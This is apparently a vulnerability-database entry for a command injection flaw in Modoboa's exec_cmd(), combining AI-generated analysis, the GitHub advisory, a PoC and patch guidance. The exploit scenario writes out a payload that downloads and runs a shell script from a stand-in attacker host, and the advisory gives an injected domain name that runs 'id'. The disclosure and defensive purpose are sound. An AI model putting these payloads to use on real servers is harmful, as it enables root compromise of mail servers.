Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as Reseller/SuperAdmin
-
ExploitCreate domain with shell metacharacters in name
-
ExecutionDomain name embedded in shell command
-
ImpactExecute arbitrary OS commands with server privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires authenticated access as Reseller or SuperAdmin role in Modoboa. Attacker must create or modify a domain with DKIM enabled, injecting shell metacharacters into the domain name field to execute arbitrary OS commands on the server. |
| Impact | The CVSS v3.1 score of 7.2 (High) reflects the combination of network-based attack vector (AV:N) with low complexity (AC:L) but requires high privileges (PR:H). While the technical impact is severe (complete compromise with root execution in typical deployments), the practical risk is somewhat mitigated by the authentication requirement—attackers need Reseller or SuperAdmin credentials to reach the vulnerable code paths. The availability of a working proof-of-concept demonstrating command execution via malicious domain names significantly elevates exploitation likelihood. However, the high privilege requirement means this is not mass-exploitable and would more likely be used in targeted attacks against specific Modoboa installations, privilege escalation scenarios where an attacker has already compromised lower-privileged accounts, or supply chain attacks. The SSVC framework would classify this as having high technical impact but lower automatable exploitation due to the authentication barrier. Organizations running Modoboa should prioritize patching, particularly those with untrusted Reseller accounts or exposed administrative interfaces, though the vulnerability does not represent the same urgency as unauthenticated remote code execution flaws. |
| Exploit ScenarioDerived | An attacker who has compromised Reseller credentials (through phishing, credential reuse, or insider threat) logs into the Modoboa web interface and creates a new domain with DKIM signing enabled. Instead of a legitimate domain name, they enter a malicious payload such as $(wget http://attacker.com/shell.sh -O /tmp/x && bash /tmp/x).example.com. When Modoboa processes the domain creation request and attempts to generate DKIM keys using openssl, the shell interprets the command substitution syntax, downloads and executes the attacker's backdoor script with the privileges of the Modoboa process (typically root in standard installations), granting complete control over the mail server infrastructure. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 25, 2026
Modoboa, an open-source mail server management platform, contains a command injection vulnerability in its subprocess execution handler that allows authenticated Reseller or SuperAdmin users to execute arbitrary operating system commands. A proof-of-concept exploit exists demonstrating how shell metacharacters in domain names can achieve code execution, typically as root in standard deployments. The vulnerability affects modoboa versions up to and including 2.7.0, with patches available in version 2.7.1.
RemediationAI
Upgrade Modoboa to version 2.7.1 or later, which addresses the command injection vulnerability through proper input sanitization and safer subprocess invocation patterns. The fix commit is available at https://github.com/modoboa/modoboa/commit/27a7aa133d3608fe8c25ae39125d1012c333cbfa and the patched release can be obtained from https://github.com/modoboa/modoboa/releases/tag/2.7.1. Organizations unable to immediately upgrade should implement compensating controls including restricting Reseller and SuperAdmin account creation to only highly trusted administrators, implementing additional input validation at the web application firewall layer to block domain names containing shell metacharacters, auditing existing domain names for suspicious patterns, and monitoring system logs for unexpected process executions from the Modoboa application context. Network segmentation limiting the mail server's ability to initiate outbound connections can also reduce post-exploitation impact.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability stems from CWE-78 (OS Command Injection) in the exec_cmd() function within modoboa/lib/sysutils.py, which unconditionally sets shell=True when invoking subprocess.Popen(). The affected product is identified by CPE pkg:pip/modoboa. Multiple code paths pass unsanitized user-controlled data (domain names, email addresses, mailbox names) directly into shell command strings that invoke external utilities including openssl (for DKIM key generation), mv (mailbox operations), sa-learn (spam filtering via Amavis), doveadm (Dovecot administration), and rrdtool (logging graphics). When shell=True is enabled, subprocess executes commands through /bin/sh, allowing shell metacharacters like $(), backticks, semicolons, and pipes to break out of the intended command context and execute arbitrary code. Six distinct injection points have been identified across the codebase, all sharing the same root cause of shell-enabled subprocess calls combined with missing input validation.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
exec_cmd() in modoboa/lib/sysutils.py always runs subprocess calls with shell=True. Since domain names flow directly into shell command strings without any sanitization, a Reseller or SuperAdmin can include shell metacharacters in a domain name to run arbitrary OS commands on the server.
Details
The root cause is in modoboa/lib/sysutils.py:31:
kwargs["shell"] = True
process = subprocess.Popen(cmd, **kwargs)When a create a domain is created with DKIM enabled, the domain name gets embedded into a shell command like this:
exec_cmd(f"openssl genrsa -out {dkim_storage_dir}/{domain.name}.pem {key_size}")If the domain name contains something like $(id>/tmp/proof).example.com, the shell executes the injected command before running openssl.
The same pattern appears in several other places:
modoboa/admin/jobs.py:38- mailbox rename viamvusingfull_addressmodoboa/amavis/lib.py:202-sa-learnusingdomain.namemodoboa/admin/models/mailbox.py:150-doveadm userusingfull_addressmodoboa/maillog/graphics.py:105-107-rrdtoolusingdomain.namemodoboa/webmail/models.py:54-57-doveadm move/deleteusingaccount.email
PoC
- Deploy modoboa <= 2.7.0
- Log in as a Reseller or SuperAdmin
- Create a new domain named
$(id>/tmp/proof).example.comwith DKIM enabled - SSH into the server and read
/tmp/proof
Something like this will be displayed:
uid=0(root) gid=0(root) groups=0(root)Confirmed on commit b521bcb4f (latest main at time of discovery).
Impact
An attacker with Reseller-level access (or higher) can execute arbitrary OS commands on the mail server - in a typical Modoboa deployment this means running as root. All six identified sinks are reachable through normal application workflows.
Executive ViewAI
Modoboa mail server installations are vulnerable to command injection attacks by authenticated administrative users, potentially allowing attackers with reseller or superadmin credentials to gain root-level system access. Organizations running Modoboa versions 2.7.0 or earlier face immediate risk of complete infrastructure compromise if credentials are compromised or insider threats exist.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-15951
GHSA-wwv8-cqpr-vx3m
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB